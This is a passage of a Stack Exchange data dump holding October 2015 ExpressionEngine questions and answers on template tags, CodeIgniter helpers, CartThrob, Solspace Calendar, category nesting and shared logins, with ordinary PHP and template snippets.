  <row Id="34432" PostTypeId="1" CreationDate="2015-10-19T13:19:11.403" Score="0" ViewCount="566" Body="&lt;p&gt;I have very limited experience developing custom modules for ExpressionEngine, but have managed to get an API integrated and working.  Now I am trying to input data via a form, using CodeIgniters Form Helper, but for the life of me cannot get it to work.  It does not render any HTML with the opening form tag, but also does not give any errors.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;class Qbase {&#xA;&#xA;    public function client_form() {&#xA;&#xA;        $this-&amp;gt;load-&amp;gt;helper('form');&#xA;&#xA;        echo form_open();&#xA;&#xA;    }&#xA;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The tags are working as they should, as there are no errors displayed.  I am not sure if I am doing something very silly and not picking it up.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Other functions in the module are working fine, its just the Helpers which don't seem to be working.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any help will be greatly appreciated&lt;/p&gt;&#xA;" OwnerUserId="6491" LastActivityDate="2015-10-19T13:19:11.403" Title="Can't get CodeIgniter Helpers to work in Custom Module" Tags="|php|module|codeigniter|" AnswerCount="0" CommentCount="9" ContentLicense="CC BY-SA 3.0" />
  <row Id="34433" PostTypeId="1" CreationDate="2015-10-19T13:59:49.400" Score="0" ViewCount="22" Body="&lt;p&gt;I have a page that is supposed to return all of the entries for a channel, but it only retrieves the first. The channel is &quot;annual-2014&quot;.  The channel is assigned &quot;publications/index&quot; in Structure.  The URL is &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;humbleisdfoundation.org/publications/annual-2014&#xA;&#xA;======== publications/index ========&#xA;&#xA;{if &quot;{segment_2}&quot; == &quot;&quot;}&#xA;&#xA;    &amp;lt;h3&amp;gt;Publications&amp;lt;/h3&amp;gt;&#xA;&#xA;    &amp;lt;ul&amp;gt;&#xA;&#xA;    {exp:channel:categories category_group=&quot;2&quot; style=&quot;linear&quot;}&#xA;&#xA;        &amp;lt;li&amp;gt;&amp;lt;a href=&quot;{category_url_title}&quot;&amp;gt;{category_name}&amp;lt;/a&amp;gt;&amp;lt;/li&amp;gt; &#xA;&#xA;    {/exp:channel:categories}&#xA;&#xA;&amp;lt;/ul&amp;gt;&#xA;&#xA;{if:else}&#xA;&#xA;{embed=&quot;publications/content&quot; channelName=&quot;{segment_2}&quot;}&#xA;&#xA;{/if}&#xA;&#xA;==== publications/content ======&#xA;&#xA;    {exp:channel:entries channel=&quot;{embed:channelName}&quot; orderby=&quot;date&quot; sort=&quot;asc&quot;}&#xA;&#xA;    {absolute_results} &amp;lt;=== Always returns 1 even though there is more than one entry&#xA;&#xA;    ...&#xA;&#xA;    {/exp:channel:entries}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="6306" LastActivityDate="2015-10-19T15:47:06.690" Title="Not Retrieving All Entries in Channel" Tags="|channel-entries|structure|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="34434" PostTypeId="2" ParentId="34433" CreationDate="2015-10-19T15:47:06.690" Score="2" Body="&lt;p&gt;You need to add the dynamic=&quot;off&quot; parameter to your channel:entries tag&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:channel:entries channel=&quot;{embed:channelName}&quot; dynamic=&quot;off&quot; orderby=&quot;date&quot; sort=&quot;asc&quot;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="159" LastActivityDate="2015-10-19T15:47:06.690" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="34435" PostTypeId="2" ParentId="34420" CreationDate="2015-10-19T15:51:45.607" Score="1" Body="&lt;p&gt;From memory you would just need to add a custom date field to your order to hold the shipping date.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;On the front end checkout form you would then need to include the datepicker field.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Cartthrob does some magic whereby it will add the data to your order entry. You don't really need to configure it. If there's a field that matches an input on the checkout form it will store the data for you.&lt;/p&gt;&#xA;" OwnerUserId="159" LastActivityDate="2015-10-19T15:51:45.607" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="34436" PostTypeId="2" ParentId="34428" CreationDate="2015-10-19T16:46:49.020" Score="0" Body="&lt;p&gt;Sounds like you need to edit your preferences.  My guess is this one:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Control Panel &gt; Admin &gt; General Configuration:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Is the system on? (o) Yes () No&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;" OwnerUserId="210" LastActivityDate="2015-10-19T16:46:49.020" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="34437" PostTypeId="2" ParentId="34421" CreationDate="2015-10-19T17:47:04.093" Score="2" Body="&lt;p&gt;I got an email back from Andris at P&amp;amp;T with the following:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Hey Rowan.&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;Indexing generally refers to a bunch of files - seems to me that you'd&#xA;  be doing that one file at a time. You should look into&#xA;  Assets_lib-&gt;register_ee_file($filedir_id, $path);&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;Then if you have a Filedir with ID of, say, 8, that has a PDF file at&#xA;  &quot;some/other/folder/file.pdf&quot; that you want Assets to know about, just&#xA;  call ee()-&gt;assets_lib-&gt;register_ee_file(8, &quot;some/other/file.pdf&quot;);&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;Also, make sure to load the lib beforehand.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$this-&amp;gt;EE-&amp;gt;load-&amp;gt;add_package_path(PATH_THIRD.'assets/');&#xA;$this-&amp;gt;EE-&amp;gt;load-&amp;gt;library('assets_lib'); &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;I followed the instructions Andris gave me and with minimal effort, was able to register the files as needed. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;So laser focused, i'm really happy with this solution! &lt;/p&gt;&#xA;&#xA;&lt;p&gt;In case anyone else is curious, here is some of my code for the PDF generation, imagick pdf to jpg generation, then Assets file registration. &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php&#xA;&#xA;$this-&amp;gt;EE-&amp;gt;load-&amp;gt;add_package_path(PATH_THIRD.'assets/');&#xA;$this-&amp;gt;EE-&amp;gt;load-&amp;gt;library('assets_lib');&#xA;&#xA;// somewhere early in your project's loading, require the Composer autoloader&#xA;// see: http://getcomposer.org/doc/00-intro.md&#xA;require './site_assets/dompdf/vendor/autoload.php';&#xA;&#xA;// disable DOMPDF's internal autoloader if you are using Composer&#xA;define('DOMPDF_ENABLE_AUTOLOAD', false);&#xA;&#xA;// include DOMPDF's default configuration&#xA;require_once './site_assets/dompdf/dompdf_config.inc.php';  &#xA;&#xA;&#xA;?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;... generate my $html code i want to turn into PDF ...&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Handle the DOM2PDF etc. &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$dompdf = new DOMPDF();&#xA;$dompdf-&amp;gt;load_html($html);&#xA;$dompdf-&amp;gt;set_paper('letter','landscape');&#xA;&#xA;$dompdf-&amp;gt;render();&#xA;$pdf = $dompdf-&amp;gt;output();&#xA;&#xA;$dir = &quot;/assets/uploads/trainee_attachments/&quot;;&#xA;&#xA;$path_to_uploads = NSM_BASEPATH.$dir.$member_entry_id.&quot;/&quot;;&#xA;$url_to_uploads = &quot;{path='&quot;.$dir.&quot;'}/&quot;.$member_entry_id.&quot;/&quot;;&#xA;&#xA;if(!file_exists($path_to_uploads)){&#xA;    mkdir($path_to_uploads,0777,true);&#xA;    echo &quot;created directory&quot;;&#xA;}&#xA;$cert_filename = $url_title.&quot;_&quot;.$format.&quot;_certificate_&quot;.$member_entry_id;&#xA;$cert_url_full = $path_to_uploads.$cert_filename;&#xA;&#xA;&#xA;if (file_put_contents($cert_url_full.&quot;.pdf&quot;,$pdf)){&#xA;    echo &quot;&amp;lt;p&amp;gt;PDF Generated!&amp;lt;/p&amp;gt;&quot;;&#xA;}&#xA;echo (&quot;&amp;lt;a href='&quot;.$url_to_uploads.$cert_filename.&quot;.pdf'&amp;gt;view pdf&amp;lt;/a&amp;gt;&amp;lt;br/&amp;gt;&quot;);&#xA;echo (&quot;PDF URL: &quot;.$url_to_uploads.$cert_filename.&quot;.pdf&quot;);&#xA;&#xA;&#xA;// display jpg of pdf&#xA;$imagick = new Imagick(); &#xA;$imagick-&amp;gt;setResolution(300,300);&#xA;$imagick-&amp;gt;readImage($cert_url_full.&quot;.pdf&quot;); &#xA;$imagick-&amp;gt;writeImages($path_to_uploads.$cert_filename.'.jpg', false); &#xA;&#xA;ee()-&amp;gt;assets_lib-&amp;gt;register_ee_file(11, $member_entry_id.&quot;/&quot;.$cert_filename.&quot;.jpg&quot;);&#xA;ee()-&amp;gt;assets_lib-&amp;gt;register_ee_file(11, $member_entry_id.&quot;/&quot;.$cert_filename.&quot;.pdf&quot;);&#xA;&#xA;echo (&quot;&amp;lt;br/&amp;gt;JPG URL: &quot;.$url_to_uploads.$cert_filename.'.jpg');&#xA;echo (&quot;&amp;lt;br/&amp;gt;&amp;lt;a href='&quot;.$url_to_uploads.$cert_filename.&quot;.jpg' class='fancybox'&amp;gt;&amp;lt;img src='&quot;.$url_to_uploads.$cert_filename.&quot;.jpg' class='img-responsive col-md-3'/&amp;gt;&amp;lt;/a&amp;gt;&quot;);&#xA;?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="6304" LastActivityDate="2015-10-19T17:47:04.093" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="34438" PostTypeId="1" CreationDate="2015-10-19T18:37:04.690" Score="0" ViewCount="56" Body="&lt;p&gt;I would like to validate links inputted by the client, so that if they enter www.somesite.com it needs to convert it to &lt;a href=&quot;http://www.somesite.com&quot; rel=&quot;nofollow&quot;&gt;http://www.somesite.com&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I know that there is an option in the channel preferences to &quot;Automatically turn URLs and email addresses into links&quot;. However, I need to be able to add class names and attributes to the anchor tags which I don't think is possible if I use this option?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How to achieve this?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;(there should really be a new type of field just for URLs..)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks in advance.&lt;/p&gt;&#xA;" OwnerUserId="6764" LastActivityDate="2015-10-19T18:37:04.690" Title="Automatic formatting of URLs in text input" Tags="|url|links|" AnswerCount="0" CommentCount="6" ContentLicense="CC BY-SA 3.0" />
  <row Id="34439" PostTypeId="1" CreationDate="2015-10-19T20:13:24.403" Score="1" ViewCount="301" Body="&lt;p&gt;I have some javascript in a template and when I try to use template variables inside the  ...  tags, the template variables are not parsing.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;All other template vars on the page are parsing as expected.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I also have $config['protect_javascript'] set to &quot;n&quot;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Code in template:&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;script type=&quot;text/javascript&quot;&amp;gt;&#xA;$('#{pricing_button}{pricing_button_attr_id}{/pricing_button}').on('click', function (e) {&#xA;    e.preventDefault();&#xA;    alert('clicked it!');&#xA;    alert('{ga_event}');&#xA;});&#xA;&amp;lt;/script&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;The rendered page results:&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;script type=&quot;text/javascript&quot;&amp;gt;&#xA;$('#{pricing_button}{pricing_button_attr_id}{/pricing_button}').on('click', function (e) {&#xA;    e.preventDefault();&#xA;    alert('clicked it!');&#xA;    alert('{ga_event}');&#xA;});&#xA;&amp;lt;/script&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="6765" LastActivityDate="2015-10-19T20:13:24.403" Title="template variables not parsing inside javascript" Tags="|javascript|variable|" AnswerCount="0" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="34441" PostTypeId="1" AcceptedAnswerId="34443" CreationDate="2015-10-19T21:34:35.627" Score="0" ViewCount="274" Body="&lt;p&gt;I have a grid field that contains a relationship field. I want to alter the output according to whether or not a particular field in the related entry contains data or not. For instance:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{if grid_field:relationship_field:related_entry_content_field != &quot;&quot;}Do this{if:else}Do something else{/if}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Instead of the expected results, it prints &quot;{if&quot; then seems to evaluate both conditions as true.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any ideas on how to make this work?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Edit: Here are some examples of what works and what doesn't work:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:channel:entries channel=&quot;channel_name&quot; search:search_field=&quot;={segment_x}&quot; dynamic=&quot;no&quot;}&#xA;    {grid_field}&#xA;            {!-- Grid field, then relationship field, then field from the related entry - no tag pair. This works: --}&#xA;            &amp;lt;h1&amp;gt;{grid_field:relationship_field:title}&amp;lt;/h1&amp;gt;&#xA;            {!-- Same syntax as above but used in a conditional. Does not work: --}&#xA;            &amp;lt;h2&amp;gt;{if grid_field:relationship_field:title == &quot;foo&quot;}Foo{if:else}Not foo{/if}&amp;lt;/h2&amp;gt;&#xA;            {!-- Using tag pair for the relationship field as suggested below. This works: --}&#xA;            {grid_field:relationship_field}&#xA;                &amp;lt;h3&amp;gt;{if grid_field:relationship_field:title == &quot;foo&quot;}Foo{if:else}Not foo{/if}&amp;lt;/h3&amp;gt;&#xA;            {/grid_field:relationship_field}&#xA;    {/grid_field}&#xA;{/exp:channel:entries}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Here is the output from the above code:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;Title of Related Entry (Desired result from Line 4)&#xA;{ifFooNot foo (Weird result from Line 6)&#xA;Not foo (Desired result from Lines 8 - 10)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Hopefully this helps someone else!&lt;/p&gt;&#xA;" OwnerUserId="3132" LastEditorUserId="3132" LastEditDate="2015-10-20T15:12:45.647" LastActivityDate="2015-10-20T15:32:49.723" Title="Conditionals: Use relationship fields within a grid field as variables?" Tags="|ee2|relationships|conditionals|grid|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="34443" PostTypeId="2" ParentId="34441" CreationDate="2015-10-20T08:42:31.303" Score="0" Body="&lt;p&gt;Both Grid and Relationships are tag pairs (as both can have many), so you can't just request the end point without telling EE which end point you want (which row and which relation).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This should work:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{grid_field}&#xA;    {grid_field:relationship_field}&#xA;        {if grid_field:relationship_field:related_entry_content_field != &quot;&quot;}&#xA;            Do this&#xA;        {if:else}&#xA;            Do something else&#xA;        {/if}&#xA;    {/grid_field:relationship_field}&#xA;{/grid_field}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;You might have to replace in the above the &lt;code&gt;if&lt;/code&gt; conditional with this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{if &quot;{grid_field:relationship_field:related_entry_content_field}&quot; != &quot;&quot;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Edit based on Question Update:&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The cause for the broken conditional is the the same - you have to have the relationship pair. You can implement in a single line conditional:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{grid_field}&#xA;    {if &quot;{grid_field:relationship_field}{grid_field:relationship_field:related_entry_content_field}{/grid_field:relationship_field}&quot; != &quot;&quot;}&#xA;        Do this&#xA;    {if:else}&#xA;        Do something else&#xA;    {/if}&#xA;{grid_field}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Obviously this will fail if there are multiple relationships for the same grid row.&lt;/p&gt;&#xA;" OwnerUserId="425" LastEditorUserId="425" LastEditDate="2015-10-20T15:32:49.723" LastActivityDate="2015-10-20T15:32:49.723" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="34444" PostTypeId="1" CreationDate="2015-10-20T10:44:21.753" Score="0" ViewCount="178" Body="&lt;p&gt;Is it acceptable to let multiple people use one member account at the same time? They will all be doing different things or even the same thing at the same time, eg: filling in a freeform form.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I know you can allow multiple logins for one account, but i just need to know if there is any complications by letting them all use the same account at the same time?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Scenario:&#xA;A specific department eg: Marketing team all use a member account called 'Marketing' instead of every person in that room having their own individual account?&lt;/p&gt;&#xA;" OwnerUserId="3335" LastActivityDate="2015-10-20T13:17:21.370" Title="Multiple people using same login at the same time" Tags="|members|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="34445" PostTypeId="1" CreationDate="2015-10-20T12:07:46.733" Score="0" ViewCount="40" Body="&lt;p&gt;I'm displaying events as a list (per day) but finding that if a day has more than one event, the day is duplicated, so rather than:&#xA;1&#xA;2&#xA;3&#xA;I'm getting&#xA;1&#xA;2&#xA;2&#xA;3&#xA;where there is more than one event on the 2nd,&#xA;code is here:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;ul class=&quot; calendar_list no-bullet&quot;&amp;gt;&#xA;                        {exp:calendar:cal &#xA;                            {if segment_3 == ''}date_range_start=&quot;year-month-01&quot; date_range_end=&quot;year-month-last&quot;{/if}&#xA;                            {if segment_3 != &quot;&quot;}date_range_start=&quot;{segment_3}-{segment_4}-01&quot; date_range_end=&quot;{segment_3}-{segment_4}-last&quot; {/if}&#xA;                             {if segment_4 == &quot;{current_time format=&quot;%m&quot;}&quot;}date_range_start=&quot;today&quot; date_range_end=&quot;{segment_3}-{segment_4}-last&quot;{/if}&#xA;&#xA;                            pad_short_weeks=&quot;n&quot; &#xA;                            category=&quot;1&quot; &#xA;                        }&#xA;                             {if calendar_no_results}&amp;lt;h3&amp;gt;There are no events for this month&amp;lt;/h3&amp;gt;{/if}&#xA;                            {!-- {if event_count==&quot;1&quot;}&amp;lt;h1&amp;gt;****{event_start_date format=&quot;%F %Y&quot;} | {event_count}&amp;lt;/h1&amp;gt;{/if} --} {!-- control date format here for month/year title --}&#xA;                            &amp;lt;li class=&quot;calendar_list&quot;&amp;gt;&amp;lt;h4&amp;gt;{event_start_date format=&quot;%j&quot;}&amp;lt;br /&amp;gt;&amp;lt;span class=&quot;list_month&quot;&amp;gt;{event_start_date format=&quot;%M&quot;}&amp;lt;/span&amp;gt;&amp;lt;/h4&amp;gt;{!-- control date format here for day/month sub-title i.e. %j = day  %F = month  --}&#xA;                                &amp;lt;p&amp;gt;{embed=&quot;_embeds/calendar_events_by_day&quot; my_date=&quot;{segment_3}-{segment_4}-{event_start_date format=&quot;%d&quot;}&quot; event_cat_id=&quot;1&quot;}&amp;lt;/p&amp;gt;&#xA;                            &amp;lt;/li&amp;gt;&#xA;                        {/exp:calendar:cal}&#xA;                    &amp;lt;/ul&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;and embedded code '&lt;strong&gt;calendar_events_by_day&lt;/strong&gt;' here:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:calendar:events &#xA;    date_range_start=&quot;{embed:my_date}&quot; date_range_end=&quot;{embed:my_date}&quot;&#xA;    category=&quot;{embed:event_cat_id}&quot;&#xA;}&#xA;    &amp;lt;div class=&quot;{if event_type == &quot;Event Type 1&quot;}event_type1{/if}{if event_type == &quot;Event Type 2&quot;}event_type2{/if}{if event_type == &quot;Event Type 3&quot;}event_type3{/if}{if event_type == &quot;Event Type 4&quot;}event_type4{/if}&quot;&amp;gt;&#xA;    &amp;lt;a href=&quot;/{segment_1}/events/{url_title}&quot; class=&quot;tips&quot; data-toggle=&quot;tooltip&quot; data-placement=&quot;top&quot; title=&quot;{event_title}&quot;&amp;gt;**{event_title}&amp;lt;/a&amp;gt;&amp;lt;br /&amp;gt;&#xA;    {if session!=&quot;&quot;}{session}&amp;lt;br /&amp;gt;{/if}{event_start_date format=&quot;%g&quot;}{if event_start_minute &amp;gt; 0}:{event_start_minute}{/if}{if event_end_time != event_start_time &amp;amp;&amp;amp; event_end_time != '00:00'}&amp;amp;ndash;{event_end_date format=&quot;%g&quot;}{if event_end_minute &amp;gt; 0}:{event_end_minute}{/if}{event_end_date format=&quot;%a&quot;}{if:else}{event_start_date format=&quot;%a&quot;}{/if}&amp;lt;br /&amp;gt;&amp;lt;/div&amp;gt;&#xA;{/exp:calendar:events}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Any pointers appreciated!&lt;/p&gt;&#xA;" OwnerUserId="3915" LastActivityDate="2016-06-01T00:02:33.117" Title="Solspace Calendar Entries are duplicated if they share the same day" Tags="|solspace|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="34446" PostTypeId="2" ParentId="34444" CreationDate="2015-10-20T13:08:52.657" Score="1" Body="&lt;p&gt;Well, one issue is that you are losing &lt;strong&gt;accountability&lt;/strong&gt;. The audit track is nil in this situation. You don't know who edited what and when, and that makes it very hard to find out the why. You can make assumptions about a team; but never about a person. Someone having a bad day? Someone thinking (even if its not true) they're about to get fired? They might do something unwanted. Also, the team dynamics of one common-use password are a nightmare. I just wouldn't go there. It is the exact reason we use forwarding for email, and don't share one email account for multiple people in general. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;This is what &lt;strong&gt;Member Groups&lt;/strong&gt; are for. Create a Member Group for Marketing, and register users to that group. It's also more common; people are used to entering their own login ID (IE email address) and own password. It also puts that responsibility on the individual. We need to avoid a SPOF here (single point of failure).&lt;/p&gt;&#xA;" OwnerUserId="3579" LastEditorUserId="3579" LastEditDate="2015-10-20T13:17:21.370" LastActivityDate="2015-10-20T13:17:21.370" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="34447" PostTypeId="1" AcceptedAnswerId="34457" CreationDate="2015-10-20T14:07:22.430" Score="0" ViewCount="56" Body="&lt;p&gt;In Cartthrob I would like to only allow the user to purchase one product on checkout. If a new product is added to the cart it replaces the one already in the cart. Any suggestions? &lt;/p&gt;&#xA;" OwnerUserId="433" LastActivityDate="2015-10-21T01:12:03.053" Title="Cart throb only allow one item on checkout" Tags="|cartthrob|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="34448" PostTypeId="2" ParentId="34430" CreationDate="2015-10-20T14:32:07.547" Score="0" Body="&lt;p&gt;I work at Vector Media Group, the people behind CartThrob.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This shouldn't be license related at all. Are you on the latest version of CartThrob (2.7)? Also: do the servers have different configurations? Different versions of PHP, MySQL, etc...? And finally, does the staging site have htaccess password protection, and is it using an offsite gateway? Sometimes htaccess blocks those from working.&lt;/p&gt;&#xA;" OwnerUserId="376" LastActivityDate="2015-10-20T14:32:07.547" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="34449" PostTypeId="1" AcceptedAnswerId="34453" CreationDate="2015-10-20T14:53:16.403" Score="0" ViewCount="117" Body="&lt;p&gt;Long story short I have a client I’m currently working on an EE build for, they want a download page where by each download can be found by navigating through category and sub categories so on and so forth.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Now the issue I’m having is the functionality of expression engines categories module doesn’t seem to allow this kind of depth though it may well be me just getting things confused.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The structure for these categories they want is along the lines of the following:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;    &lt;li&gt;Category 1&#xA;        &lt;ul&gt;&#xA;            &lt;li&gt;Sub Category 1&lt;/li&gt;&#xA;            &lt;li&gt;Sub Category 2&lt;/li&gt;&#xA;            &lt;li&gt;Sub Category 3&lt;/li&gt;&#xA;        &lt;/ul&gt;&#xA;    &lt;/li&gt;&#xA;    &lt;li&gt;Category 2&#xA;        &lt;ul&gt;&#xA;            &lt;li&gt;Sub Category 4&#xA;                &lt;ul&gt;&#xA;                    &lt;li&gt;Sub Sub Category 1&#xA;                        &lt;ul&gt;&#xA;                            &lt;li&gt;Final Sub Category 1&lt;/li&gt;&#xA;                            &lt;li&gt;Final Sub Category 2&lt;/li&gt;&#xA;                        &lt;/ul&gt;&#xA;                    &lt;/li&gt;&#xA;                    &lt;li&gt;Sub Sub Category 2&lt;/li&gt;&#xA;                    &lt;li&gt;Sub Sub Category 3&#xA;                        &lt;ul&gt;&#xA;                            &lt;li&gt;Final Sub Category 1&lt;/li&gt;&#xA;                            &lt;li&gt;Final Sub Category 2&lt;/li&gt;&#xA;                        &lt;/ul&gt;&#xA;                    &lt;/li&gt;&#xA;                &lt;/ul&gt;&#xA;            &lt;/li&gt;&#xA;            &lt;li&gt;Sub Category 5&lt;/li&gt;&#xA;        &lt;/ul&gt;&#xA;    &lt;/li&gt;&#xA;    &lt;li&gt;Category 3&lt;/li&gt;&#xA;    &lt;li&gt;Category 4&#xA;        &lt;ul&gt;&#xA;            &lt;li&gt;Sub Category 4&#xA;                &lt;ul&gt;&#xA;                    &lt;li&gt;Sub Sub Category 1&#xA;                        &lt;ul&gt;&#xA;                            &lt;li&gt;Final Sub Category 1&lt;/li&gt;&#xA;                            &lt;li&gt;Final Sub Category 2&lt;/li&gt;&#xA;                        &lt;/ul&gt;&#xA;                    &lt;/li&gt;&#xA;                    &lt;li&gt;Sub Sub Category 3&#xA;                        &lt;ul&gt;&#xA;                            &lt;li&gt;Final Sub Category 1&lt;/li&gt;&#xA;                            &lt;li&gt;Final Sub Category 2&lt;/li&gt;&#xA;                        &lt;/ul&gt;&#xA;                    &lt;/li&gt;&#xA;                    &lt;li&gt;Sub Sub Category 4&lt;/li&gt;&#xA;                &lt;/ul&gt;&#xA;            &lt;/li&gt;&#xA;            &lt;li&gt;Sub Category 5&lt;/li&gt;&#xA;            &lt;li&gt;Sub Category 6&lt;/li&gt;&#xA;        &lt;/ul&gt;&#xA;    &lt;/li&gt;&#xA;    &lt;li&gt;Category 5&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;It’s a very complex category listing but despite advice the client is adamant on retaining this structure to order their downloads. Now as you can hopefully decipher from the above is that they have multiple sub categories of varying depths which can appear as children of multiple categories as well as other sub categories.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If I attempt this kind of category setup within the standard category module in EE I can easily add categories and sub categories but it’s when I get any deeper than this which causes issues as I cannot have multiple sub categories with the same name and to my knowledge there is no way to attach a sub category to multiple parent categories.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;My question for all you super duper category experts out there is, Can this kind of category depth be achieved using EE with the multiple sub categories and the linking to multiple parents? And if not are there any addons or suggestions you have that can get me on the right tracks?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks in advance for any comments and answers in reply to my inane babble :)&lt;/p&gt;&#xA;" OwnerUserId="6768" LastActivityDate="2015-10-20T19:39:06.937" Title="Sub Category attached to multiple Parent Categories" Tags="|categories|category-group|child-categories|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="34452" PostTypeId="1" AcceptedAnswerId="34454" CreationDate="2015-10-20T18:45:47.593" Score="1" ViewCount="49" Body="&lt;p&gt;I was able to use low search to filter entries, by getting the values of the parameters in the URL, I set No for encode query setting in the low search module.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I set it back to Yes to and tested my sitewide search form, which it needs to be encoded.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;is there an encode parameter in the form tag that I can set on the fly?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If I could get this (below) to work using the query=&quot;{segment_2}&quot; then I won't need to set the encode setting on the fly:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;select name=&quot;store:price&quot;&amp;gt;&#xA;    &amp;lt;option value=&quot;0&quot;&amp;gt;PRICE&amp;lt;/option&amp;gt;&#xA;    &amp;lt;option value=&quot;|10&quot;{if get:price == &quot;|10&quot;} selected{/if}&amp;gt;up to $10&amp;lt;/option&amp;gt;&#xA;    &amp;lt;option value=&quot;10|25&quot;{if get:price == &quot;10|25&quot;} selected{/if}&amp;gt;$10 to $25&amp;lt;/option&amp;gt;&#xA;    &amp;lt;option value=&quot;25|50&quot;{if get:price == &quot;25|50&quot;} selected{/if}&amp;gt;$25 to $50&amp;lt;/option&amp;gt;&#xA;    &amp;lt;option value=&quot;50|100&quot;{if get:price == &quot;50|100&quot;} selected{/if}&amp;gt;$50 to 